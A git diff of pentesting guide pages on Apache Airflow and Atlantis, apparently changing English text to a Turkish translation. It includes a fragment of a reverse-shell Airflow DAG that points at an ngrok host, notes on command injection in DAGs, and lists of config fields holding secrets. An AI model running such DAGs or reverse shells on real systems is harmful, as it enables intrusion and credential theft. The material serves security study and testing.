- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_python2',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = PythonOperator(
- task_id='rs_python2',
- python_callable=rs,
- op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
+run = PythonOperator(
+task_id='rs_python2',
+python_callable=rs,
+op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
+#### DAG Oluşturma
-#### DAG Creation
+Eğer **DAG kümesindeki bir makineyi ele geçirirseniz**, `dags/` klasöründe yeni **DAG scriptleri** oluşturabilirsiniz ve bunlar **DAG kümesindeki diğer makinelere kopyalanacaktır.**
-If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
+#### DAG Kod Enjeksiyonu
-#### DAG Code Injection
+GUI'den bir DAG çalıştırdığınızda ona **argümanlar** geçirebilirsiniz.\
+Bu nedenle, eğer DAG düzgün kodlanmamışsa **Komut Enjeksiyonuna karşı savunmasız** olabilir.\
+Bu, bu CVE'de olan bir durumdur: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-When you execute a DAG from the GUI you can **pass arguments** to it.\
-Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
-That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-
-All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
-
-Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
+**DAG'lerde komut enjeksiyonları aramaya başlamak için bilmeniz gereken tek şey**, **parametrelerin** **`dag_run.conf.get("param_name")`** kodu ile **erişildiğidir.**
+Ayrıca, aynı zafiyet **değişkenlerle** de meydana gelebilir (yeterli ayrıcalıklara sahip olduğunuzda GUI'de **değişkenlerin değerini kontrol edebilirsiniz**). Değişkenler **şu şekilde erişilir**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-
-If they are used for example inside a a bash command, you could perform a command injection.
+Eğer örneğin bir bash komutunun içinde kullanılırlarsa, bir komut enjeksiyonu gerçekleştirebilirsiniz.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 5fd8e486b..261a69bf0 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -4,112 +4,102 @@
## Configuration File
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
+**Apache Airflow**, tüm airflow makinelerinde **`airflow.cfg`** adında bir **config dosyası** oluşturur. Bu config dosyası, yapılandırma bilgilerini içerir ve **ilginç ve hassas bilgiler içerebilir.**
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
+**Bu dosyaya erişmenin iki yolu vardır: bazı airflow makinelerini tehlikeye atarak veya web konsoluna erişerek.**
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+**Config dosyasındaki değerlerin** **kullanılanlar olmayabileceğini** unutmayın; bunları `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` gibi ortam değişkenleri ayarlayarak geçersiz kılabilirsiniz.
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
+Eğer **web sunucusundaki config dosyasına** erişiminiz varsa, config'in görüntülendiği aynı sayfada **gerçek çalışan yapılandırmayı** kontrol edebilirsiniz.\
+Eğer **airflow ortamındaki bir makineye** erişiminiz varsa, **ortamı** kontrol edin.
-Some interesting values to check when reading the config file:
+Config dosyasını okurken kontrol edilecek bazı ilginç değerler:
### \[api]
-- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- - `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- - You can also **create you own authentication** method with python.
-- **`google_key_path`:** Path to the **GCP service account key**
+- **`access_control_allow_headers`**: Bu, **CORS** için **izin verilen** **başlıkları** gösterir.
+- **`access_control_allow_methods`**: Bu, **CORS** için **izin verilen yöntemleri** gösterir.
+- **`access_control_allow_origins`**: Bu, **CORS** için **izin verilen kökenleri** gösterir.
+- **`auth_backend`**: [**Belgelerde belirtildiği gibi**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API'ye kimlerin erişebileceğini yapılandırmak için birkaç seçenek olabilir:
+- `airflow.api.auth.backend.deny_all`: **Varsayılan olarak kimse** API'ye erişemez.
+- `airflow.api.auth.backend.default`: **Herkes** kimlik doğrulaması olmadan erişebilir.
+- `airflow.api.auth.backend.kerberos_auth`: **kerberos kimlik doğrulamasını** yapılandırmak için.
+- `airflow.api.auth.backend.basic_auth`: **temel kimlik doğrulaması** için.
+- `airflow.composer.api.backend.composer_auth`: Kompozitör kimlik doğrulamasını kullanır (GCP) ( [**buradan**](https://cloud.google.com/composer/docs/access-airflow-api)).
+- `composer_auth_user_registration_role`: Bu, **airflow** içinde **kompozitör kullanıcısının** alacağı **rolü** gösterir (**Op** varsayılan olarak).
+- Ayrıca **kendi kimlik doğrulama** yöntemlerinizi python ile oluşturabilirsiniz.
+- **`google_key_path`:** **GCP hizmet hesabı anahtarının** yolu.
### **\[atlas]**
-- **`password`**: Atlas password
-- **`username`**: Atlas username
+- **`password`**: Atlas şifresi.
+- **`username`**: Atlas kullanıcı adı.
### \[celery]
-- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-- **`result_backend`**: Postgres url which may contain **credentials**.
-- **`ssl_cacert`**: Path to the cacert
-- **`ssl_cert`**: Path to the cert
-- **`ssl_key`**: Path to the key
+- **`flower_basic_auth`** : Kimlik bilgileri (_user1:password1,user2:password2_)
+- **`result_backend`**: **kimlik bilgileri** içerebilecek Postgres url'si.
+- **`ssl_cacert`**: cacert'in yolu.
+- **`ssl_cert`**: sertifikanın yolu.
+- **`ssl_key`**: anahtarın yolu.
### \[core]
-- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-- **`fernet_key`**: Key to store encrypted variables (symmetric)
-- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-- **`security`**: What security module to use (for example kerberos)
+- **`dag_discovery_safe_mode`**: Varsayılan olarak etkin. DAG'leri keşfederken, `DAG` ve `airflow` dizelerini içermeyen dosyaları göz ardı edin.
+- **`fernet_key`**: Şifrelenmiş değişkenleri saklamak için anahtar (simetrik).
+- **`hide_sensitive_var_conn_fields`**: Varsayılan olarak etkin, bağlantıların hassas bilgilerini gizler.
+- **`security`**: Hangi güvenlik modülünün kullanılacağı (örneğin kerberos).
### \[dask]
-- **`tls_ca`**: Path to ca
-- **`tls_cert`**: Part to the cert
-- **`tls_key`**: Part to the tls key
+- **`tls_ca`**: ca'nın yolu.
+- **`tls_cert`**: sertifikanın yolu.
+- **`tls_key`**: tls anahtarının yolu.
### \[kerberos]
-- **`ccache`**: Path to ccache file
-- **`forwardable`**: Enabled by default
+- **`ccache`**: ccache dosyasının yolu.
+- **`forwardable`**: Varsayılan olarak etkin.
### \[logging]
-- **`google_key_path`**: Path to GCP JSON creds.
+- **`google_key_path`**: GCP JSON kimlik bilgilerine giden yol.
### \[secrets]
-- **`backend`**: Full class name of secrets backend to enable
-- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
+- **`backend`**: Etkinleştirilecek gizli arka uç sınıfının tam adı.
+- **`backend_kwargs`**: backend_kwargs parametresi bir sözlüğe yüklenir ve gizli arka uç sınıfının **init**'ine geçirilir.
### \[smtp]
-- **`smtp_password`**: SMTP password
-- **`smtp_user`**: SMTP user
+- **`smtp_password`**: SMTP şifresi.
+- **`smtp_user`**: SMTP kullanıcısı.
### \[webserver]
-- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-- **`cookie_secure`**: Set **secure flag** on the the session cookie
-- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
+- **`cookie_samesite`**: Varsayılan olarak **Lax**'dır, bu nedenle zaten mümkün olan en zayıf değerdir.
+- **`cookie_secure`**: oturum çerezinde **güvenli bayrağı** ayarlayın.
+- **`expose_config`**: Varsayılan olarak False'dur, eğer true ise, **config** web **konsolundan** **okunabilir**.
+- **`expose_stacktrace`**: Varsayılan olarak True'dur, **python traceback'lerini** gösterecektir (potansiyel olarak bir saldırgan için yararlı).
+- **`secret_key`**: Bu, **flask'ın çerezleri imzalamak için kullandığı anahtardır** (eğer buna sahipseniz, **Airflow'daki herhangi bir kullanıcıyı taklit edebilirsiniz**).
+- **`web_server_ssl_cert`**: **SSL** **sertifikasının** **yolu**.
+- **`web_server_ssl_key`**: **SSL** **Anahtarının** **yolu**.
+- **`x_frame_enabled`**: Varsayılan **True**'dur, bu nedenle varsayılan olarak clickjacking mümkün değildir.
### Web Authentication
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
-
+Varsayılan olarak **web kimlik doğrulaması**, **`webserver_config.py`** dosyasında belirtilmiştir ve şu şekilde yapılandırılmıştır:
```bash
AUTH_TYPE = AUTH_DB
```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
+Bu, **kimlik doğrulamanın veritabanına karşı kontrol edildiği** anlamına gelir. Ancak, diğer yapılandırmalar da mümkündür, örneğin
```bash
AUTH_TYPE = AUTH_OAUTH
```
+**Üçüncü taraf hizmetlere** **kimlik doğrulamasını** bırakmak için.
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
+Ancak, **anonim kullanıcıların erişimine** izin vermek için de bir seçenek vardır, aşağıdaki parametreyi **istenen role** ayarlayarak:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 7ff782327..226c3531e 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,44 +4,40 @@
## RBAC
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
+(Dokümanlardan)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow, varsayılan olarak **bir dizi rol ile birlikte gelir**: **Admin**, **Kullanıcı**, **Op**, **Görüntüleyici** ve **Herkese Açık**. **Sadece `Admin`** kullanıcıları **diğer rollerin izinlerini yapılandırabilir/değiştirebilir**. Ancak `Admin` kullanıcılarının bu varsayılan rolleri, bu rollere izin ekleyerek veya çıkararak değiştirmeleri önerilmez.
-- **`Admin`** users have all possible permissions.
-- **`Public`** users (anonymous) don’t have any permissions.
-- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
-- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
-- **`Op`** users have `User` permissions plus additional op permissions.
+- **`Admin`** kullanıcıları tüm olası izinlere sahiptir.
+- **`Public`** kullanıcıları (anonim) hiçbir izne sahip değildir.
+- **`Viewer`** kullanıcıları sınırlı görüntüleme izinlerine sahiptir (sadece okuma). **Yapılandırmayı göremez.**
+- **`User`** kullanıcıları `Viewer` izinlerine ek olarak DAG'leri biraz yönetmelerine olanak tanıyan ek kullanıcı izinlerine sahiptir. **Yapılandırma dosyasını görebilir.**
+- **`Op`** kullanıcıları `User` izinlerine ek olarak ek op izinlerine sahiptir.
-Note that **admin** users can **create more roles** with more **granular permissions**.
+**Admin** kullanıcılarının daha fazla **granüler izinlere sahip daha fazla rol oluşturabileceğini** unutmayın.
-Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
+Ayrıca, **kullanıcıları ve rolleri listeleme iznine sahip tek varsayılan rol Admin'dir, Op bile bunu yapamayacaktır.**
-### Default Permissions
+### Varsayılan İzinler
-These are the default permissions per default role:
+Varsayılan role göre varsayılan izinler şunlardır:
- **Admin**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
+\[Bağlantılarda silebilir, Bağlantılarda okuyabilir, Bağlantılarda düzenleyebilir, Bağlantılarda oluşturabilir, DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, Havuzlarda silebilir, Havuzlarda okuyabilir, Havuzlarda düzenleyebilir, Havuzlarda oluşturabilir, Sağlayıcılarda okuyabilir, Değişkenlerde silebilir, Değişkenlerde okuyabilir, Değişkenlerde düzenleyebilir, Değişkenlerde oluşturabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Yapılandırmalarda okuyabilir, Eklentilerde okuyabilir, Rollerde okuyabilir, İzinlerde okuyabilir, Rollerde silebilir, Rollerde düzenleyebilir, Rollerde oluşturabilir, Kullanıcılarda okuyabilir, Kullanıcılarda oluşturabilir, Kullanıcılarda düzenleyebilir, Kullanıcılarda silebilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir, Admin menüsüne erişim, Yapılandırmalar menüsüne erişim, Bağlantılar menüsüne erişim, Havuzlar menüsüne erişim, Değişkenler menüsüne erişim, XCom'larda silebilir, Görev Yeniden Planlamalarında okuyabilir, Görev Yeniden Planlamaları menüsüne erişim, Tetikleyicilerde okuyabilir, Tetikleyiciler menüsüne erişim, Şifrelerde okuyabilir, Şifrelerde düzenleyebilir, Kullanıcıları Listele menüsüne erişim, Güvenlik menüsüne erişim, Roller Listesi menüsüne erişim, Kullanıcı İstatistikleri Grafiğinde okuyabilir, Kullanıcı İstatistikleri menüsüne erişim, Temel İzinler menüsüne erişim, Görünüm Menülerinde okuyabilir, Görünümler/Menüler menüsüne erişim, İzin Görünümlerinde okuyabilir, Görünümler/Menülerde İzin menüsüne erişim, MenuApi'de alabilir, Sağlayıcılarda menü erişimi, XCom'larda oluşturabilir]
- **Op**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
+\[Bağlantılarda silebilir, Bağlantılarda okuyabilir, Bağlantılarda düzenleyebilir, Bağlantılarda oluşturabilir, DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, Havuzlarda silebilir, Havuzlarda okuyabilir, Havuzlarda düzenleyebilir, Havuzlarda oluşturabilir, Sağlayıcılarda okuyabilir, Değişkenlerde silebilir, Değişkenlerde okuyabilir, Değişkenlerde düzenleyebilir, Değişkenlerde oluşturabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Yapılandırmalarda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir, Admin menüsüne erişim, Yapılandırmalar menüsüne erişim, Bağlantılar menüsüne erişim, Havuzlar menüsüne erişim, Değişkenler menüsüne erişim, XCom'larda silebilir]
- **User**
-\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
+\[DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir]
- **Viewer**
-\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
+\[DAG'lerde okuyabilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index a4b35140f..f9992b04f 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -4,109 +4,109 @@
### Basic Information
-Atlantis basically helps you to to run terraform from Pull Requests from your git server.
+Atlantis temelde git sunucunuzdan Pull Request'lerden terraform çalıştırmanıza yardımcı olur.
.png>)
### Local Lab
-1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
-2. Create a **personal token** (with repo access) of your **github** user
-3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
- 1. You can access the web page in 127.0.0.1:4141
+1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) adresindeki **atlantis sürüm sayfasına** gidin ve size uygun olanı **indirin**.
+2. **github** kullanıcınız için bir **kişisel token** (repo erişimi ile) oluşturun.
+3. `./atlantis testdrive` komutunu çalıştırın ve **atlantis ile iletişim kurabileceğiniz bir demo repo** oluşturulacaktır.
+1. Web sayfasına 127.0.0.1:4141 adresinden erişebilirsiniz.
### Atlantis Access
#### Git Server Credentials
-**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
-However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
-[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
+**Atlantis**, **Github**, **Gitlab**, **Bitbucket** ve **Azure DevOps** gibi birkaç git sunucusunu destekler.\
+Ancak, bu platformlardaki repo'lara erişmek ve işlemler gerçekleştirmek için bazı **ayrıcalıklı erişimlerin verilmesi** gerekir (en azından yazma izinleri).\
+[**Belgeler**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional), Atlantis için bu platformlarda özel bir kullanıcı oluşturulmasını teşvik eder, ancak bazı kişiler kişisel hesaplar kullanabilir.
> [!WARNING]
-> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
+> Her durumda, bir saldırganın perspektifinden, **Atlantis hesabı** çok **ilginç** bir **hedef** olacaktır.
#### Webhooks
-Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
+Atlantis, Git sunucunuzdan aldığı **webhook'ların** **geçerli** olduğunu doğrulamak için isteğe bağlı olarak [**Webhook gizli anahtarları**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kullanır.
-One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
+Bunu doğrulamanın bir yolu, **isteklerin yalnızca Git sunucunuzun IP'lerinden gelmesine izin vermek** olacaktır, ancak daha kolay bir yol Webhook Gizli Anahtarı kullanmaktır.
-Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
+Özel bir github veya bitbucket sunucusu kullanmadığınız sürece, webhook uç noktalarını internete açmanız gerekecektir.
> [!WARNING]
-> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
+> Atlantis, git sunucusunun bilgi gönderebilmesi için **webhook'ları açıyor**. Bir saldırganın perspektifinden, **ona mesaj gönderebilir misiniz** bilmek ilginç olacaktır.
#### Provider Credentials
-[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
+[Belgelerden:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
+Atlantis, **Atlantis'in barındırıldığı** sunucuda `terraform plan` ve `apply` komutlarını **çalıştırarak** Terraform'u çalıştırır. Terraform'u yerel olarak çalıştırdığınızda olduğu gibi, Atlantis'in belirli sağlayıcınız için kimlik bilgilerine ihtiyacı vardır.
-It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
+Atlantis'e belirli sağlayıcınız için [kimlik bilgilerini nasıl sağladığınız](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) size bağlıdır:
-- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
-- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
-- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
-- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
+- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) ve [AWS Fargate Modülü](https://www.runatlantis.io/docs/deployment.html#aws-fargate) kendi kimlik bilgisi mekanizmalarına sahiptir. Belgelerini okuyun.
+- Atlantis'i bir bulutta çalıştırıyorsanız, birçok bulut, üzerinde çalışan uygulamalara bulut API erişimi verme yollarına sahiptir, örneğin:
+- [AWS EC2 Rolleri](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Arama "EC2 Rolü")
+- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
